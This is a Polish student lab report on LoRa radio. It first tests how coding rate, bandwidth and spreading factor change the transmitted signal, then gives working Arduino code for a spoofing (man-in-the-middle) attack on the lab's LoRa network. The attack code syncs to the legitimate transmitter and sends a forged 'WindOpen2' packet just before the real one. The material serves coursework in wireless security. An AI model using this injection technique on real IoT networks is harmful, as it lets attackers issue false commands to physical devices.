# Sprawozdanie W10 - BIR ## Zespół Zespół w skladzie: - Maciej Włodarczyk - Paweł Gryka - Michał Wawrzyńczak # Część 1 Część pierwsza zakładała zbadanie wpływu parametrów transmisji na długość sygnału nadawanego. Bazowy kod testujący jest poniżej. ``` #include <SPI.h> #include <LoRa.h> int counter = 0; void setup() { Serial.begin(9600); while (!Serial); Serial.println("LoRa Sender"); if (!LoRa.begin(868E6)) { Serial.println("Starting LoRa failed!"); while (1); } LoRa.setCodingRate4(8); LoRa.setSignalBandwidth(5000); LoRa.setTxPower(10); } void loop() { Serial.print("Sending packet: "); Serial.println(counter); LoRa.beginPacket(); LoRa.print("Hello From LoRA"); LoRa.print(counter); LoRa.endPacket(); counter++; delay(1000); } ``` Następnie zmienialiśmy parametry LoRa w `setup()` i sprawdzaliśmy jakie mają one wpływ na widmo. Zaczęliśmy od wąskiego pasma, wysokoego kodowania i średniej mocy. Widać to na widmie, sygnał jest długi (kodowanie) i cienki (widmo). ``` LoRa.setCodingRate4(8); LoRa.setSignalBandwidth(5000); LoRa.setTxPower(10); ``` ![image](https://hackmd.io/_uploads/ByjpknKUT.png) Zmieniliśmy pasmo na szersze i to samo było widać na widmie. Oczywiście zadana przez nas wartośc nie byłaby możliwa, więc otrzymana jest pewnie maksymalną możliwą dla tego nadajnika. Zmienilismy też długość wiadomości, żeby nadać większą "grubość" na waterfall. ``` LoRa.setCodingRate4(8); LoRa.setSignalBandwidth(5000000000); LoRa.setTxPower(10); ``` ``` for(int i=0; i<200; i++) LoRa.print("Hello From LoRA"); ``` ![image](https://hackmd.io/_uploads/BJKXlnKIa.png) Następnie zmniejszyliśmy pasmo (do wstępnego) i testowaliśmy `codingRate`, dwa kolejne przypadki właśnie to pokazują, widać że przy zmniejszeniu `codingRate`, długość sygnału się zmniejsza, a przy zwiększeniu się zwiększa. **małe codingRate** ``` LoRa.setCodingRate4(5); LoRa.setSignalBandwidth(50000); LoRa.setTxPower(10); ``` ![image](https://hackmd.io/_uploads/B1gb-3FUa.png) **duże codingRate** ``` LoRa.setCodingRate4(8); LoRa.setSignalBandwidth(50000); LoRa.setTxPower(10); ``` ![image](https://hackmd.io/_uploads/H1DnlntU6.png) Następnie testowaliśmy `spreadngFactor` przy stałych reszcie argumentów. W pierwszym przypadku ustawiony został na 6(mało) a w drugim na 12(dużo). Widać tutaj że ten parametr ma wpływ na długość syngału - szybkość transisji. Pod odebranym widmem przedstawiamy także dane referencyjne na temat parametru spreading factor. ``` LoRa.setCodingRate4(5); LoRa.setSignalBandwidth(50000); LoRa.setTxPower(10); LoRa.setSpreadingFactor(6); ``` ![image](https://hackmd.io/_uploads/Byj8-3Y8a.png) ``` LoRa.setCodingRate4(5); LoRa.setSignalBandwidth(50000); LoRa.setTxPower(10); LoRa.setSpreadingFactor(12); ``` ![image](https://hackmd.io/_uploads/r1u9ZhYUa.png) ![obraz](https://hackmd.io/_uploads/Bk0loCMP6.png) ![obraz](https://hackmd.io/_uploads/S1ZJiRzPp.png) # Cześć 2 Druga część polegała na przeprowadzeniu ataku MitM na sieć wystawioną w ramach laboratorium. Zakłada to zgadnięcie parametrów transmisji, synchronizację z nadajnikiem, a następnie nadanie chwilę przed orginalną wiadomością, wiadomości udającej transmisję. Kod, który realizuje atak jest poniżej. ``` #include <SPI.h> #include <LoRa.h> void setup() { Serial.begin(9600); while (!Serial); Serial.println("LoRa Receiver"); if (!LoRa.begin(868.5E6)) { Serial.println("Starting LoRa failed!"); while (1); } LoRa.setCodingRate4(8);//5-8 LoRa.setSpreadingFactor(12);//7-12 LoRa.setSignalBandwidth(125000); Serial.println("Starting LoRa sukces!"); LoRa.setTxPower(20); //measureTime(); sync(); } void sync(){ int packetSize = LoRa.parsePacket(); while (packetSize == 0) { packetSize = LoRa.parsePacket(); } Serial.println("sync"); delay(4800); } void measureTime(){ int packetSize = LoRa.parsePacket(); Serial.println("czekam"); while (packetSize ==0) { packetSize = LoRa.parsePacket(); } Serial.print("Received packet '"); unsigned long start = millis(); Serial.println("czekam"); packetSize = LoRa.parsePacket(); while (packetSize == 0) { packetSize = LoRa.parsePacket(); } Serial.println(millis()- start); } void loop() { LoRa.beginPacket(); LoRa.print("WindOpen2"); LoRa.endPacket(); delay(5000); } ``` ![obraz](https://hackmd.io/_uploads/HJPmI0fvT.png) ![1000003970](https://hackmd.io/_uploads/ryiqU0Gvp.jpg)